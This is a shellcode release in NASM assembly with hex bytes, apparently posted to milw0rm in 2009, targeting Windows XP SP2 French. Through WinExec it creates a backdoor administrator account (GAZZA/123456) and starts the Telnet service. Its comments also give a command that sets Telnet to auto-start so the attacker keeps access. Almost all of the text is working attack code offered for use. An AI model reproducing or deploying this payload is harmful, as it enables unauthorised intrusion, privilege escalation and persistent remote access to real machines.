; payload:add admin acount & Telnet Listening
; Author: DATA_SNIPER
; size:111 bytes
; platform:WIN32/XP SP2 FR
; thanks:Arab4services team & AT4RE Team
; more info: visit my blog http://datasniper.arab4services.net
; The Sh3llcode:
; "xEBx08xBAx4Dx11x86x7CxFFxD2xCCxE8xF3xFFxFFxFFx63x6Dx64x20x2Fx63"
; "x20x6Ex65x74x20x75x73x65x72x20x68x69x6Cx6Cx20x31x32x33x34x35"
; "x36x20x2Fx41x44x44x20x26x26x20x6Ex65x74x20x6Cx6Fx63x61x6Cx67"
; "x72x6Fx75x70x20x41x64x6Dx69x6Ex69x73x74x72x61x74x65x75x72x73"
; "x20x68x69x6Cx6Cx20x2Fx41x44x44x20x26x26x20x73x63x20x73x74x61"
; "x72x74x20x54x6Cx6Ex74x53x76x72x00"
; Description: it's simular to TCP BindShell on port 23,throught Command execution we can get shell access throught telnet service on Windows b0x.
; Add admin account command user=GAZZA ,pass=123456 :cmd /c net user GAZZA 123456 /ADD && net localgroup Administrateurs GAZZA /ADD
; Start telnet service: sc start TlntSvr
; For saving ur access to the B0x again and again :),u can use this command:
; "sc config TlntSvr start= auto &  sc start TlntSvr" instead of:
; "sc start TlntSvr"
; NASM -s -fbin telnetbind.asm
BITS 32 
db 0EBh,08h    ;such as "jmp Data" ,i puted it in opcode format for avoiding null problem.
Exec:
MOV EDX,7C86114Dh ;WinExec addr in WIN XP SP2 FR
CALL EDX
INT3 ;just interrupter (hung the shellcode after it do his job,any way u can use ExitProcess) for avoiding infinite loop
Data:
CALL Exec
db 'cmd /c net user GAZZA 123456 /ADD & net localgroup Administrateurs GAZZA /ADD & sc start TlntSvr',00h
;add user GAZA with 123456 password and start telnet service ;BTW the exstension cuted for saving som byte ;)

; milw0rm.com [2009-02-27]